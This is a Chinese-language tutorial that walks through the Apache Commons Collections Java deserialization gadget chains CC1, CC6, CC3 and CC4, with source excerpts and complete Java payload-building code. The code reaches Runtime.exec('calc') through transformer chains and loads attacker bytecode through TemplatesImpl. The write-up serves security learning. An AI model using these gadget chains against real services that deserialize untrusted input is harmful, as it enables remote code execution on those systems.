Java CC链分析 cc链简单的介绍:Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象(有点像cpp的stl库),它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化漏洞的普遍性和严重性。
Apache Commons Collections中有一个特殊的接口Transformer,其中有一个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer
在分析cc链前先通过maven导入相关的组件(新建一个maven项目,然后在pom.xml文件中加入下面的代码):
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
另外可以在网上下个该版本jdk的源码,然后解压将sun包加入到src中,idea依赖路径加入src文件夹,就可以方便查看到源码。
CC1链利用过程分析 参考链接:Java安全入门(二)——CC链1 分析+详解_如何判断该使用哪种cc链_ErYao7的博客-CSDN博客
https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1007.top_right_bar_window_default_collection.content.click
CC1链的整体过程 :入口类AnnotationInvocationHandler
反序列化自动执行其的readObject()
方法,该方法中遍历了map
,并调用了memberValue.setValue()
方法,memberValue
是对map
的遍历对象,setValue
又会自动调用checkSetValue
方法,而checkSetValue
调用了transform
方法,transform
方法完成命令执行
AnnotationInvocationHandler.readObject()–>MapEntry.setValue()–>TransformedMap.checkSetValue()–>ChainedTransformer.transform()
下面会从利用类开始往上推出整条cc1链:
InvokerTransformer类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } } }
关键部分源码如上,可以看出通过构建一个InvokerTranshformer实例,我们就可以调用其public的transform方法,从而实现任意函数执行(命令执行),具体如下:
1 2 Runtime runtime = Runtime.getRuntime();new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(runtime);
完全只通过反射获取runtime实例并执行代码的代码如下:
1 2 3 4 5 Class c = Runtime.class; Method getRuntimeMethod = c.getDeclaredMethod("getRuntime" ,null ); Runtime r = (Runtime) getRuntimeMethod.invoke(null ,null ); Method execMethod = c.getDeclaredMethod("exec" ,String.class); execMethod.invoke(r,"calc" );
也就是说其实我们在java中想要使用Runtime执行命令必须用到两个函数,第一个是getRuntime获取Runtime实例,第二个是exec,注意调用的是Runtime实例的exec方法,传入的参数是一个命令字符串数组。
可以将上述通过反射完全转化为只通过InvokerTransformer获取,这样更方便我们反序列化时自动调用。
1 2 3 Method getRuntimeMethod = (Method)new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(Runtime.class);Runtime runtime = (Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(getRuntimeMethod);new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(runtime);
每用一次transform其实就相当于调用了一次传入参数object的方法,InvokerTransformer构造函数的三个参数,第一二个用来寻找object的方法,第三个是要传入该方法的参数。
TransformerMap类
接下来我们就要找有没有别的方法调用了transform方法,注意不能找transform调用transform的,因为这对我们构建链子并没有任何作用,我们最终的目标是回到readObject,并使得链子在反序列化时自动执行。
通过IDEA全局查找函数用法,找到了TransformerMap类的checkSetValue方法调用了transform:
1 2 3 4 5 6 7 8 9 10 11 protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); } public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
通过关键代码分析可以看出valueTransformer受我们的控制,故可以通过checkSetValue方法来调用transform,值得一提的是注意该map的构造函数是protected的,这意味着我们不能直接从类外调用他的构造函数来生成实例,必须调用decorate来生成实例。
接下来找调用了checkSetValue方法的方法,只找到了一处调用AbstractInputCheckedMapDecorator文件中的MapEntry类的setValue调用了checkSetValue,MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map且setValue时,checkSetValue方法也就执行了。
一句话总结:Entry遍历Map并setValue,就会自动调用checkSetValue
依此,我们可以使用半条链来进行命令执行试试:
1 2 3 4 5 6 7 8 9 10 11 12 Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(runtime); }
AnnotationInvocationHandler类
再找谁调用了setValue,最好找的是readObject,因为我们的链子已经挺长了,找到了AnnotationInvocationHandler类的readObject调用了setValue,反射链成型。
需要注意的时AnnotationInvocationHandler不是public,只能在所属包下访问到,所以我们通过反射获取(通过完整名称)。
先看一下构造函数,接收两个参数,class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map。同时在readObject中我们也发现了Map的遍历和setValue。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; } private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
另外为满足两个if并最终走到setValue,我们需要将构建的map的键设为”value“,并将传入的注解类设为Target.class,另外最后setValue的参数并不是我们想要的Runtime.class,我们需要在获取方法前将其修改,这时候可以想到使用ConstantTransformer进行修改(不管传入什么总返回构造时设置好的值),同时为使transform时命令连续执行,前一个输出为后一个的输入,可以使用ChainedTransformer,完整链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class cc1test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , null }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc" }) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap (); map.put("value" , "value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandler.setAccessible(true ); Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap); serialize(instance); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }
总结:就是找同名函数的用法,最终回到readObject。
CC6链利用过程分析 1链分析较为详细,后面的分析比较简略。
白组长强烈推荐,最好用的链,不需要特定CC版本和jdk版本
简单流程:hashmap.readObject()–>TiedMapEntry.hashcode() –>LazyMap.get()–>ChainedTransformer.transform()
get之后的步骤和链1完全一样。
具体流程
LazyMap的get方法调用了factory.transform(key),而factory是我们可以控制传入的一个Transformer类型的实例,于是我们可以把构造好的ChainedTransformer传进去。
接下来找谁调用了get方法,找到TiedMapEntry的getValue方法调用了传入的map(控制传入构造好的lazymap)的get,而TiedMapEntry的hashCode()又调用了getValue。
接下来找谁调用了hashCode,这个应该很容易想起hashmap的readObject就调用而来hash,hash又要用到hashcode,链子成型,但还有一些小问题需要注意。
小问题解决
put的时候就会调用hashcode直接触发命令(和dnsurl链类似),为了不让他put的时候就触发命令,我们可以改一下lzmap的factory,先别把transformerChain传进去,然后put完了之后再使用反射改回来。
触发了一次之后lzmap添加了key,为让他下次能够正常触发get,需要使用move将其移除。
完整链子代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , null }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc" }) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers);HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lzmap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lzmap,"aa" );HashMap<Object,Object> map2 = new HashMap <>(); map2.put(tiedMapEntry,"bb" ); Class c = LazyMap.class;Field factoryField = c.getDeclaredField("factory" );factoryField.setAccessible(true ); factoryField.set(lzmap,transformerChain); lzmap.remove("aa" );
CC3链利用过程分析 参考链接:java反序列化-cc3链分析 - FreeBuf网络安全行业门户
该链与1和6最大的不同体现在命令执行,此CC3链事实上是通过动态任意类加载实现了代码执行。相较于命令执行,代码执行应用更加广泛。
反序列化不同CC链之间都是有不同的部分也有相同的部分,这也体现出反序列化各部分是相对独立的部分。(相同的部分直接复制即可)
defineClass<–defineTransletClasses<–getTransletInstance<–newTransformer
下面是关键部分的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 protected final Class<?> defineClass(String name, byte [] b, int off, int len) throws ClassFormatError { return defineClass(name, b, off, len, null ); } private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
CC3链是任意类动态加载导致的代码执行,而这个利用点在defineClass中,这个方法将字节码数据加载为了java对象,由于是protected修饰,我们需要找谁调用了defineClass。
找到了Templatesimpl的defineTransletClasses方法,再往上找找到了该类的getTransletInstance方法,执行静态代码不仅需要类加载,还需要初始化,getTransletInstance满足了初始化class,然而依然是一个私有的方法,需要继续往上面找。
找到了public方法,newTransformer,先以该方法为入口测试链。
需要注意的是满足各方法中的if条件,从而顺利地执行我们想要的方法。
在getTransletInstance方法中,需要满足_name不为空,_class不用,它默认为空。而走到defineTransletClasses方法中,_bytecodes不能为空。而这个bytecodes就是我们构造的恶意类的字节码,_tfactory属性不能为空,因为它需要调用某个类的函数,但是_tfactory被标记为transient,无法反序列化,但是看readObject可知,其已自动设置值,不用担心,另外恶意类需要继承自ABSTRACT_TRANSLET,测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 TemplatesImpl templates = new TemplatesImpl (); Class c = templates.getClass(); Field name = c.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"aaa" ); Field bytecode = c.getDeclaredField("_bytecodes" ); byte [] code = Files.readAllBytes(Paths.get("C://Users/19670/IdeaProjects/cc1test/target/classes/cc3demo.class" )); bytecode.setAccessible(true ); bytecode.set(templates,new byte [][]{code}); Field tfactory = c.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); templates.newTransformer();
入口是newTransformer(),继续往上找,找到了TrAXFilter的构造方法中就用到了,可是TrAXFilter不能序列化,只能找一个能够调用别的类的构造方法,且能反序列化的类来调用TrAXFilter的构造方法
InstantiateTransformer这个类。重点在于它的transform方法,它会调用任意类的构造函数,可以解决上面类不能实例化的问题。只要调用了InstantiateTransformer类的transform方法,就可以任意代码执行
由于CC3仅改变命令执行处的方法(就相当于把invokeTransformer和runtime给回避掉),故入口处依然采用CC1的入口,完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 TemplatesImpl templates = new TemplatesImpl ();Class c = templates.getClass();Field name = c.getDeclaredField("_name" );name.setAccessible(true ); name.set(templates,"aaa" ); Field bytecode = c.getDeclaredField("_bytecodes" );byte [] code = Files.readAllBytes(Paths.get("C://Users/19670/IdeaProjects/cc1test/target/classes/cc3demo.class" ));bytecode.setAccessible(true ); bytecode.set(templates,new byte [][]{code}); Field tfactory = c.getDeclaredField("_tfactory" );tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers);HashMap<Object,Object> map = new HashMap <>(); map.put("value" ,"aaa" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , transformerChain); Class cla = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandler = cla.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandler.setAccessible(true ); Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap);serialize(instance); unserialize("ser.bin" );CC4链利用过程分析
CC4链利用过程分析 要求maven4.0!!
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
动态代码执行与CC3一样,利用了新的入口PriorityQueue
。
简要分析:不用AnnotationInvocationHandler和TransformedMap来调用transform,还有一个TransformingComparator的compare方法调用了传进去的对象的transform方法,compare往上找找到了PriorityQueue的siftDownUsingComparator<–siftDown<–heapify()<–readObject反序列化成型
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
注意这里的>>>符号,是java中的无符号右移运算符,size=2的话右移一位就是1,所以这里i=0,对queue数组中的第一个元素调用siftDown。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 TemplatesImpl templates = new TemplatesImpl ();Class c = templates.getClass();Field name = c.getDeclaredField("_name" );name.setAccessible(true ); name.set(templates,"aaa" ); Field bytecode = c.getDeclaredField("_bytecodes" );byte [] code = Files.readAllBytes(Paths.get("C://Users/19670/IdeaProjects/cc1test/target/classes/cc3demo.class" ));bytecode.setAccessible(true ); bytecode.set(templates,new byte [][]{code}); Field tfactory = c.getDeclaredField("_tfactory" );tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers);TransformingComparator transformingComparator = new TransformingComparator (transformerChain);PriorityQueue<Object> queue= new PriorityQueue <>(2 ); queue.add(1 ); queue.add(1 ); Field field2 = queue.getClass().getDeclaredField("comparator" );field2.setAccessible(true ); field2.set(queue, transformingComparator); Field field3 = queue.getClass().getDeclaredField("queue" );field3.setAccessible(true ); field3.set(queue, new Object []{templates, templates});
各种cc链先分析到这,总之就是各种入口+命令执行的排列组合以及在不同的类中寻找同名函数的调用,直到来到readObject。